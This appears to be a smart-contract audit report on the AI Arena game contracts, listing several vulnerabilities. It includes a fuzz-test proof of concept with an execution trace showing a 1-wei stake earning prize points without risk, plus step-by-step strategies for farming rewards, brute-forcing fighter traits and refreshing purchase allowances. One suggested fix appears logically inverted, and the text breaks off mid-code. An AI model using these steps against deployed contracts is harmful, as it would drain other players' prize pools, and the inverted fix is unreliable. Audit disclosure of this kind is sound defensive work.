AI Arena - forkforkdog's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L244-L245 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L342 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L519-L535 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L416-L500 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L439

Vulnerability details

Impact

• RankedBallte.sol:stakeNRN() function restricts staking amount only to be more than zero. That means user can stake amounts starting from 1 wei of NRN.

    function stakeNRN(uint256 amount, uint256 tokenId) external {
        require(amount > 0, "Amount cannot be 0");
      
        ...
        
           stakingFactor[tokenId] = _getStakingFactor(
                tokenId, 
                _stakeAtRiskInstance.getStakeAtRisk(tokenId)
            );
            
            ...
        }

• Then RankedBallte.sol:stakeNRN() calls for a staking factor calculation

   function _getStakingFactor(
        uint256 tokenId, 
        uint256 stakeAtRisk
    ) 
        private 
        view 
        returns (uint256) 
    {
      uint256 stakingFactor_ = FixedPointMathLib.sqrt(
          (amountStaked[tokenId] + stakeAtRisk) / 10**18
      );
      if (stakingFactor_ == 0) {
        stakingFactor_ = 1;
      }
      return stakingFactor_;
    }    

So staking factor even for one wei will be 1.

When game server updates battle result, the requirement to get points that will result in NRN prize pool participation is to have non zero staking amount

    function updateBattleRecord(
        uint256 tokenId,
        uint256 mergingPortion,
        uint8 battleResult,
        uint256 eloFactor,
        bool initiatorBool
    ) external {
      ...
      
      if (amountStaked[tokenId] + stakeAtRisk > 0) {
            _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner);
        }
       ...
    }
    

By design, user should have a chance to win NRNs only if he risks some NRNs. This is called current stake at risk, the value that will be substracted from your staking amount if you lose

   function _addResultPoints(
        uint8 battleResult, 
        uint256 tokenId, 
        uint256 eloFactor, 
        uint256 mergingPortion,
        address fighterOwner
    ) 
        private 
    {
      ...
                /// If the fighter does not have any points for this round, NRNs become at risk of being lost
                bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
                if (success) {
                    _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
                    amountStaked[tokenId] -= curStakeAtRisk;
                }
           ... 
        ...
    }

However, the formula for calculating 10 basis points of the staking amount loses precision with small amounts, resulting in a zero. This means that even with a nonzero staking value, the current stake at risk remains zero. Consequently, in the event of a lost battle, a user loses 0 tokens, but in the event of a victory, the player earns points to claim a portion of the prize pool, effectively allowing for a free ride.

   function _addResultPoints(
        uint8 battleResult, 
        uint256 tokenId, 
        uint256 eloFactor, 
        uint256 mergingPortion,
        address fighterOwner
    ) 
        private 
    {
      ...
        curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
	  ...
    }

Proof of Concept

Using Medusa fuzzer, we can recreate this scenario with several testing functions. In test we will check that every time user lose he loses no NRNs, if he wins he earns some points.

contract Test {

// ... Setups and imports

  function stakerNRN(uint256 amount, address staker_) public {
        require(staker_ == staker || staker_ == staker2 || staker_ == staker3);
        uint256 id = getId(staker_);
        if (amount >= token.balanceOf(address(staker_))) {
            amount = token.balanceOf(address(staker_));
        }
        require(amount > 0 && amount <= token.balanceOf(address(staker_)));

        uint256 amountBefore = rankedBattle.amountStaked(id);
        hevm.prank(staker_);
        rankedBattle.stakeNRN(amount, id);
        assert(rankedBattle.amountStaked(id) == amountBefore + amount);
        assert(rankedBattle.stakingFactor(id) >= 1);
    }
    
      function ballteUpNoStake(address staker_, uint256 mergingPorting, uint8 result, bool elo, bool initatorBool)
        public
    {
        require(staker_ == staker || staker_ == staker2 || staker_ == staker3);
        require(mergingPorting <= 100);
        require(result <= 2);
        uint256 eloFactor = 1500;
        if (elo) eloFactor = 1600;
        hevm.prank(gameServerAddress);
        rankedBattle.updateBattleRecord(getId(staker_), mergingPorting, result, eloFactor, initatorBool);
    }
    
 function loseAndLostNoMoni(uint256 amount) public {
        address staker_ = address(0x10000);
        amount = 420;
        
        stakerNRN(amount, staker_);
        
        ballteUpNoStake(staker_, 50, 2, true, true); // lose
        ballteUpNoStake(staker_, 50, 2, true, true); // lose
        
        assert(rankedBattle.getPoints(0) == 0);
        assert(stakeAtRisk.getStakeAtRisk(2) == 0); // risking nothing

        ballteUpNoStake(staker_, 50, 0, true, true); //// WIN
        
        assert(rankedBattle.getPoints(0) == 800);
        assert(stakeAtRisk.getStakeAtRisk(2) == 0);

        ballteUpNoStake(staker_, 50, 2, true, true); // lose only points
        
        assert(rankedBattle.getPoints(0) == 0);
        assert(stakeAtRisk.getStakeAtRisk(2) == 0);

        ballteUpNoStake(staker_, 50, 0, true, true); // WIN
        
        assert(rankedBattle.getPoints(0) == 800); // receive points
        assert(stakeAtRisk.getStakeAtRisk(2) == 0);

        uint256 points = rankedBattle.getPoints(0); // total points for NRN pool is 800
        emit LogUint256("Points", points);
        assert(points == 0);
    }

}

Results

Test for method "Tests.loseAndLostNoMoni(uint256)" resulted in an assertion failure after the following call sequence:
[Call Sequence]
1) Tests.loseAndLostNoMoni(16) (block=2, time=2, gas=12500000, gasprice=1, value=0, sender=0x0000000000000000000000000000000000030000)
[Execution Trace]
 => [call] Tests.loseAndLostNoMoni(16) (addr=0xA647ff3c36cFab592509E13860ab8c4F28781a66, value=0, sender=0x0000000000000000000000000000000000030000)
         => [call] Neuron.balanceOf(0x0000000000000000000000000000000000010000) (addr=0x51D51e848cF1252b8d3DeD7532c7f2bD405301A9, value=<nil>, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return (1000000000000000000000000)]
         => [call] Neuron.balanceOf(0x0000000000000000000000000000000000010000) (addr=0x51D51e848cF1252b8d3DeD7532c7f2bD405301A9, value=<nil>, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return (1000000000000000000000000)]
         => [call] RankedBattle.amountStaked(0) (addr=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69, value=<nil>, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return (0)]
         => [call] StdCheats.prank(0x0000000000000000000000000000000000010000) (addr=0x7109709ECfa91a80626fF3989D68f67F5b1DD12D, value=0, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return ()]
         => [call] RankedBattle.stakeNRN(420, 0) (addr=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69, value=0, sender=0x0000000000000000000000000000000000010000)
                 => [call] FighterFarm.ownerOf(0) (addr=0x54919A19522Ce7c842E25735a9cFEcef1c0a06dA, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0x0000000000000000000000000000000000010000)]
                 => [call] Neuron.balanceOf(0x0000000000000000000000000000000000010000) (addr=0x51D51e848cF1252b8d3DeD7532c7f2bD405301A9, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (1000000000000000000000000)]
                 => [call] Neuron.approveStaker(0x0000000000000000000000000000000000010000, 0x1a4652fe54709a39bf1ddda84ef325f7abda5a69, 420) (addr=0x51D51e848cF1252b8d3DeD7532c7f2bD405301A9, value=0, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [event] Approval(0x0000000000000000000000000000000000010000, 0x1a4652fe54709a39bf1ddda84ef325f7abda5a69, 420)
                         => [return ()]
                 => [call] Neuron.transferFrom(0x0000000000000000000000000000000000010000, 0x1a4652fe54709a39bf1ddda84ef325f7abda5a69, 420) (addr=0x51D51e848cF1252b8d3DeD7532c7f2bD405301A9, value=0, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [event] Approval(0x0000000000000000000000000000000000010000, 0x1a4652fe54709a39bf1ddda84ef325f7abda5a69, 0)
                         => [event] Transfer(0x0000000000000000000000000000000000010000, 0x1a4652fe54709a39bf1ddda84ef325f7abda5a69, 420)
                         => [return (true)]
                 => [call] FighterFarm.updateFighterStaking(0, true) (addr=0x54919A19522Ce7c842E25735a9cFEcef1c0a06dA, value=0, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [event] Locked(0)
                         => [return ()]
                 => [call] StakeAtRisk.getStakeAtRisk(0) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0)]
                 => [event] Staked(0x0000000000000000000000000000000000010000, 420)
                 => [return ()]
         => [call] RankedBattle.amountStaked(0) (addr=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69, value=<nil>, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return (420)]
         => [call] RankedBattle.stakingFactor(0) (addr=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69, value=<nil>, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return (1)]
         => [call] StdCheats.prank(0x7c0a2bad62c664076efe14b7f2d90bf6fd3a6f6c) (addr=0x7109709ECfa91a80626fF3989D68f67F5b1DD12D, value=0, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return ()]
         => [call] RankedBattle.updateBattleRecord(0, 50, 2, 1600, true) (addr=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69, value=0, sender=0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C)
                 => [call] FighterFarm.ownerOf(0) (addr=0x54919A19522Ce7c842E25735a9cFEcef1c0a06dA, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0x0000000000000000000000000000000000010000)]
                 => [call] VoltageManager.ownerVoltageReplenishTime(0x0000000000000000000000000000000000010000) (addr=0x9491F0Dfb965BC45570dd449801432599F0542a0, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0)]
                 => [call] StakeAtRisk.getStakeAtRisk(0) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0)]
                 => [call] StakeAtRisk.getStakeAtRisk(0) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0)]
                 => [call] Neuron.transfer(0x9c6a6b0ec78aa6e4b9bebd9dcee3f2b071377d07, 0) (addr=0x51D51e848cF1252b8d3DeD7532c7f2bD405301A9, value=0, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [event] Transfer(0x1a4652fe54709a39bf1ddda84ef325f7abda5a69, 0x9c6a6b0ec78aa6e4b9bebd9dcee3f2b071377d07, 0)
                         => [return (true)]
                 => [call] StakeAtRisk.updateAtRiskRecords(0, 0, 0x0000000000000000000000000000000000010000) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=0, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [event] IncreasedStakeAtRisk(0, 0)
                         => [return ()]
                 => [call] VoltageManager.spendVoltage(0x0000000000000000000000000000000000010000, 10) (addr=0x9491F0Dfb965BC45570dd449801432599F0542a0, value=0, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [event] VoltageRemaining(0x0000000000000000000000000000000000010000, 90)
                         => [return ()]
                 => [return ()]
         => [call] StdCheats.prank(0x7c0a2bad62c664076efe14b7f2d90bf6fd3a6f6c) (addr=0x7109709ECfa91a80626fF3989D68f67F5b1DD12D, value=0, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return ()]
         => [call] RankedBattle.updateBattleRecord(0, 50, 2, 1600, true) (addr=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69, value=0, sender=0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C)
                 => [call] FighterFarm.ownerOf(0) (addr=0x54919A19522Ce7c842E25735a9cFEcef1c0a06dA, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0x0000000000000000000000000000000000010000)]
                 => [call] VoltageManager.ownerVoltageReplenishTime(0x0000000000000000000000000000000000010000) (addr=0x9491F0Dfb965BC45570dd449801432599F0542a0, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (86402)]
                 => [call] VoltageManager.ownerVoltage(0x0000000000000000000000000000000000010000) (addr=0x9491F0Dfb965BC45570dd449801432599F0542a0, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (90)]
                 => [call] StakeAtRisk.getStakeAtRisk(0) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0)]
                 => [call] StakeAtRisk.getStakeAtRisk(0) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0)]
                 => [call] Neuron.transfer(0x9c6a6b0ec78aa6e4b9bebd9dcee3f2b071377d07, 0) (addr=0x51D51e848cF1252b8d3DeD7532c7f2bD405301A9, value=0, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [event] Transfer(0x1a4652fe54709a39bf1ddda84ef325f7abda5a69, 0x9c6a6b0ec78aa6e4b9bebd9dcee3f2b071377d07, 0)
                         => [return (true)]
                 => [call] StakeAtRisk.updateAtRiskRecords(0, 0, 0x0000000000000000000000000000000000010000) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=0, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [event] IncreasedStakeAtRisk(0, 0)
                         => [return ()]
                 => [call] VoltageManager.spendVoltage(0x0000000000000000000000000000000000010000, 10) (addr=0x9491F0Dfb965BC45570dd449801432599F0542a0, value=0, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [event] VoltageRemaining(0x0000000000000000000000000000000000010000, 80)
                         => [return ()]
                 => [return ()]
         => [call] RankedBattle.getPoints(0) (addr=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69, value=0, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return (0)]
         => [call] StakeAtRisk.getStakeAtRisk(2) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=<nil>, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return (0)]
         => [call] StdCheats.prank(0x7c0a2bad62c664076efe14b7f2d90bf6fd3a6f6c) (addr=0x7109709ECfa91a80626fF3989D68f67F5b1DD12D, value=0, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return ()]
         => [call] RankedBattle.updateBattleRecord(0, 50, 0, 1600, true) (addr=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69, value=0, sender=0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C)
                 => [call] FighterFarm.ownerOf(0) (addr=0x54919A19522Ce7c842E25735a9cFEcef1c0a06dA, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0x0000000000000000000000000000000000010000)]
                 => [call] VoltageManager.ownerVoltageReplenishTime(0x0000000000000000000000000000000000010000) (addr=0x9491F0Dfb965BC45570dd449801432599F0542a0, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (86402)]
                 => [call] VoltageManager.ownerVoltage(0x0000000000000000000000000000000000010000) (addr=0x9491F0Dfb965BC45570dd449801432599F0542a0, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (80)]
                 => [call] StakeAtRisk.getStakeAtRisk(0) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0)]
                 => [call] StakeAtRisk.getStakeAtRisk(0) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0)]
                 => [event] LogUint256("stake at risk inside uodate", 0)
                 => [event] LogUint256("stakingFactor[tokenId]", 1)
                 => [event] LogUint256("eloFactor", 1600)
                 => [call] MergingPool.addPoints(0, 800) (addr=0x587be02D13c624E65b3D98C33fdf3Eea13aAAf97, value=0, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [event] PointsAdded(0, 800)
                         => [return ()]
                 => [event] PointsChanged(0, 800, true)
                 => [call] VoltageManager.spendVoltage(0x0000000000000000000000000000000000010000, 10) (addr=0x9491F0Dfb965BC45570dd449801432599F0542a0, value=0, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [event] VoltageRemaining(0x0000000000000000000000000000000000010000, 70)
                         => [return ()]
                 => [return ()]
         => [call] RankedBattle.getPoints(0) (addr=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69, value=0, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return (800)]
         => [call] StakeAtRisk.getStakeAtRisk(2) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=<nil>, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return (0)]
         => [call] StdCheats.prank(0x7c0a2bad62c664076efe14b7f2d90bf6fd3a6f6c) (addr=0x7109709ECfa91a80626fF3989D68f67F5b1DD12D, value=0, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return ()]
         => [call] RankedBattle.updateBattleRecord(0, 50, 2, 1600, true) (addr=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69, value=0, sender=0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C)
                 => [call] FighterFarm.ownerOf(0) (addr=0x54919A19522Ce7c842E25735a9cFEcef1c0a06dA, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0x0000000000000000000000000000000000010000)]
                 => [call] VoltageManager.ownerVoltageReplenishTime(0x0000000000000000000000000000000000010000) (addr=0x9491F0Dfb965BC45570dd449801432599F0542a0, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (86402)]
                 => [call] VoltageManager.ownerVoltage(0x0000000000000000000000000000000000010000) (addr=0x9491F0Dfb965BC45570dd449801432599F0542a0, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (70)]
                 => [call] StakeAtRisk.getStakeAtRisk(0) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0)]
                 => [call] StakeAtRisk.getStakeAtRisk(0) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0)]
                 => [event] PointsChanged(0, 800, false)
                 => [call] VoltageManager.spendVoltage(0x0000000000000000000000000000000000010000, 10) (addr=0x9491F0Dfb965BC45570dd449801432599F0542a0, value=0, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [event] VoltageRemaining(0x0000000000000000000000000000000000010000, 60)
                         => [return ()]
                 => [return ()]
         => [call] RankedBattle.getPoints(0) (addr=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69, value=0, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return (0)]
         => [call] StakeAtRisk.getStakeAtRisk(2) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=<nil>, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return (0)]
         => [call] StdCheats.prank(0x7c0a2bad62c664076efe14b7f2d90bf6fd3a6f6c) (addr=0x7109709ECfa91a80626fF3989D68f67F5b1DD12D, value=0, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return ()]
         => [call] RankedBattle.updateBattleRecord(0, 50, 0, 1600, true) (addr=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69, value=0, sender=0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C)
                 => [call] FighterFarm.ownerOf(0) (addr=0x54919A19522Ce7c842E25735a9cFEcef1c0a06dA, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0x0000000000000000000000000000000000010000)]
                 => [call] VoltageManager.ownerVoltageReplenishTime(0x0000000000000000000000000000000000010000) (addr=0x9491F0Dfb965BC45570dd449801432599F0542a0, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (86402)]
                 => [call] VoltageManager.ownerVoltage(0x0000000000000000000000000000000000010000) (addr=0x9491F0Dfb965BC45570dd449801432599F0542a0, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (60)]
                 => [call] StakeAtRisk.getStakeAtRisk(0) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0)]
                 => [call] StakeAtRisk.getStakeAtRisk(0) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=<nil>, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [return (0)]
                 => [event] LogUint256("stake at risk inside uodate", 0)
                 => [event] LogUint256("stakingFactor[tokenId]", 1)
                 => [event] LogUint256("eloFactor", 1600)
                 => [call] MergingPool.addPoints(0, 800) (addr=0x587be02D13c624E65b3D98C33fdf3Eea13aAAf97, value=0, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [event] PointsAdded(0, 800)
                         => [return ()]
                 => [event] PointsChanged(0, 800, true)
                 => [call] VoltageManager.spendVoltage(0x0000000000000000000000000000000000010000, 10) (addr=0x9491F0Dfb965BC45570dd449801432599F0542a0, value=0, sender=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69)
                         => [event] VoltageRemaining(0x0000000000000000000000000000000000010000, 50)
                         => [return ()]
                 => [return ()]
         => [call] RankedBattle.getPoints(0) (addr=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69, value=0, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return (800)]
         => [call] StakeAtRisk.getStakeAtRisk(2) (addr=0x9c6a6B0ec78aA6e4b9bebD9DcEE3F2b071377d07, value=<nil>, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return (0)]
         => [call] RankedBattle.getPoints(0) (addr=0x1A4652Fe54709A39bf1dDDA84ef325F7ABda5A69, value=0, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
                 => [return (800)]
         => [event] LogUint256("Points", 800)
         => [panic: assertion failed]

One of free-riding strategies would be:

• Wait for a new round with prepared fighter
• Stake 1 wei of NRN
• Play until the first victory
• Repeat with every available fighter
• Wait until round finishes
• Collect tokens

Tools Used

Manual review, Medusa

Recommended Mitigation Steps

Mitigate this step by increasing the staking amount threshold to a mathematically significant figure, such as one whole NRN. Implement this requirement in the staking function and within calculations to ensure that even if a player loses their staked amount in battles, they must deposit an additional stake to continue accruing points.

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L379 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L471

Vulnerability details

Impact

DNA value in FighterFarm:reRoll() function accepts user-dependent params such as msg.sender and tokenId when num of rerolls is predefined.

function reRoll(uint8 tokenId, uint8 fighterType) public {..}

in reRoll function dna in manipulatable by msg.sender:

uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));

also, @notice in comments suggests that this function should result in new fighter with random traits.

/// @notice Rolls a new fighter with random traits.

DNA of the fighter is a source of all attributes of NFT, including things that is meaningful for the winning.

 (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
            fighters[tokenId].element = element;
            fighters[tokenId].weight = weight;
            fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                newDna,
                generation[fighterType],
                fighters[tokenId].iconsType,
                fighters[tokenId].dendroidBool
            );

Proof of Concept

Even though dna expression uses keccak256 to complicate determinism in results, desired attributes can be easily backwards bruteforced because of small range of possible desired values.

        uint256 element = dna % numElements[generation[fighterType]]; //generation zero has 3 elements
        uint256 weight = dna % 31 + 65; //up to 100

User can use bruteforce desired NFT attributes by in the loop:

1. Create address,
2. Calculate outcome
3. If outcome desired, transfer nft to new adress
4. call reRoll() as a new owner

Tools Used

Manual review

Recommended Mitigation Steps

In previous versions, AiArena team was using ChainLink VFR system, and deprecated it later. Would suggest using other reliable source of randomness.

Assessed type

Other

Lines of code

https://github.com/code-423n4//2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L159 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L346 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/VoltageManager.sol#L110

Vulnerability details

Impact

User can exploit mapping based on msg.sender in allowanceRemaining[msg.sender][tokenId], by transferring to his another address and use fresh allowance. Round duration is 1 week, so this could be done once in 7 days and allowance will be doubled only for one day due to restaking restrictions.

For now there is only one item used in the game, it is Battery with 100 points of voltage. Every initiated round subtracts 10 voltage points.

User-battle invariants includes:

• User can't initiate infinite amount of battles per day

Checked at RankedBattle.sol:L346

  if (initiatorBool) {
            _voltageManagerInstance.spendVoltage(fighterOwner, VOLTAGE_COST);
        }

• User should pay for every new pack of 10 of initiated battles

Ensured at GameItems.sol:L165

function mint(uint256 tokenId, uint256 quantity) external {
...
bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, price);
...
}

• User should't buy more than predefined value of batteries per day (5 batteries as of now from Deployment.sol:L70)

Which is checked on GameItems.sol:L158

     require(
            dailyAllowanceReplenishTime[msg.sender][tokenId] <= block.timestamp || 
            quantity <= allowanceRemaining[msg.sender][tokenId]
        );

Proof of Concept

This method is based on intended and allowed user behaviour of a transfer of unstaked token and allowing new owner to have fresh records, but if player sends token on his own another address, allowances are refreshed for the same player.

To get refreshed allowance on the last day of the Round player can:

1. Spend daily allowance with buying 5 batteries, so no more batteries can be bought (optional)
2. Unstake before round ends
3. Round ends/ new round started
4. Move tokenId to another address owned by player
5. Stake tokenId again
6. Use fresh daily allowance of 5 batteries

Important note: Restaking inside Round duration is not allowed by RankedBattle.sol:L248 require(hasUnstaked[tokenId][roundId] == false, "Cannot add stake after unstaking this round"); so player can't initiate infinite battles by moving NFT around. That is why we have to use opportunity window on day when the roundId value changes.

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Instead of tracking Game Items buyers by msg.sender and tokenId in dailyAllowanceReplenishTime[msg.sender][tokenId] and allowanceRemaining[msg.sender][tokenId] would suggest tracking by tokenId only.

Assessed type

Other

RankedBattle.sol:setBpsLostPerLoss() mid-round change could be unfair for users with stake losses

RankedBattle.sol:bpsLostPerLoss() function is designed to specify the percentage points of a player's staked amount that will be deducted in the event of a battle loss.

In RankedBattle.sol, the bpsLostPerLoss() function lacks execution control, allowing it to be executed unrestrictedly at any point within the round's timeframe. Such unregulated execution may lead to rule alterations mid-round, potentially disadvantaging users who have already incurred stake losses under the initially established rules.

    function setBpsLostPerLoss(uint256 bpsLostPerLoss_) external {
        require(isAdmin[msg.sender]);
        bpsLostPerLoss = bpsLostPerLoss_;
    }

Would recommend implementing a constraint on setBpsLostPerLoss() to allow its execution only if no player has participated in the current round, akin to the limitations imposed on setNewRound().

    function setBpsLostPerLoss(uint256 bpsLostPerLoss_) external {
        require(isAdmin[msg.sender]);
+		 require(totalAccumulatedPoints[roundId] > 0);
        bpsLostPerLoss = bpsLostPerLoss_;
    }

RankedBattle.sol:stakeNRN Should revert on non-zero message value

User can accidentally send non-zero value in attempt to stakeNRN, and there is no way to rescue ether form Ranked battle contract which leads to permanent lost of ether for the user.

   function stakeNRN(uint256 amount, uint256 tokenId) external {
        require(amount > 0, "Amount cannot be 0");
        require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
        require(_neuronInstance.balanceOf(msg.sender) >= amount, "Stake amount exceeds balance");
        require(hasUnstaked[tokenId][roundId] == false, "Cannot add stake after unstaking this round");

        _neuronInstance.approveStaker(msg.sender, address(this), amount);
        bool success = _neuronInstance.transferFrom(msg.sender, address(this), amount);
